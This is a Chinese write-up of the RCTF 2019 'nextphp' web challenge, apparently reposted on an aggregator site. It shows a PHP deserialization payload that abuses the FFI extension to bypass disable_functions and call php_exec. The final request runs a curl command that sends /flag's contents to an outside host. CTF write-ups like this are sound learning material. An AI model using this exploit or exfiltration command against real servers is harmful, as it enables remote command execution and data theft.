首页 > Web开发 > 详细

RCTF 2019 web

时间:2019-05-23 22:45:56      阅读:164      评论:0      收藏:0      [点我收藏+]

写在正文前

神仙题,压根不会。

听说跟着神仙的思路走一遍印象会深点,Just mo it 。2333

 

正文

nextphp

整体思路:phpinfo得知存在preload.php文件,并与opcache拓展有关,查看preload.php源码确定为反序列化漏洞。

题目直接给了一句话,起手不俗,tql

技术分享图片

eval能干啥?执行php代码:读取文件,命令执行......

附上一篇:php花式读取文件

技术分享图片

是我太天真。记住记住,信息收集很重要,比如:phpinfo。

技术分享图片

关注点:disable_functions/open_basedir/全文搜索.php/.bak/.balabala(大佬总是能够从纷繁复杂的乱象里一眼看出问题所在,何也?exp)

1.从disable_functions知,所有命令执行函数都被禁用了。

2.从open_basedir知网站物理路径(虽然不知道啥用)

3.全文检索.php,除了index.php就只剩preload.php了

技术分享图片

查看preload.php代码

技术分享图片

此外,注意到preload在一个叫做opcache的拓展里,opcache,php7.4的新特性:

https://wiki.php.net/rfc/preload

全文搜索dangerous/risk/warning/...等字眼

技术分享图片

ext/FFI危险?phpinfo里搜索下是否开启此拓展。

技术分享图片

启动了

深入了解一波FFI

https://www.php.net/manual/en/ffi.examples-basic.php

https://www.php.net/manual/en/ffi.examples-callback.php

可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:

<?php
final class A implements Serializable {
    protected $data = [
        ret => null,
        func => FFI::cdef,
        arg => "int php_exec(int type, char *cmd);"
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __construct () {
    }
}

$a = new A;
echo serialize($a);

最后反序列化执行

http://nextphp.2019.rctf.rois.io/?a=$a=unserialize(‘C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a"FFI%3a%3acdef"%3bs%3a3%3a"arg"%3bs%3a34%3a"int+php_exec(int+type,+char+*cmd)%3b"%3b}}‘);var_dump($a->ret->php_exec(2,‘curl%20f1sh.site:2333/`cat%20/flag`‘));

得flag

RCTF{Do_y0u_l1ke_php74?}

补充:在获取preload文件时,可以直接读取

技术分享图片

 

RCTF 2019 web

原文:https://www.cnblogs.com/p0pl4r/p/10914898.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!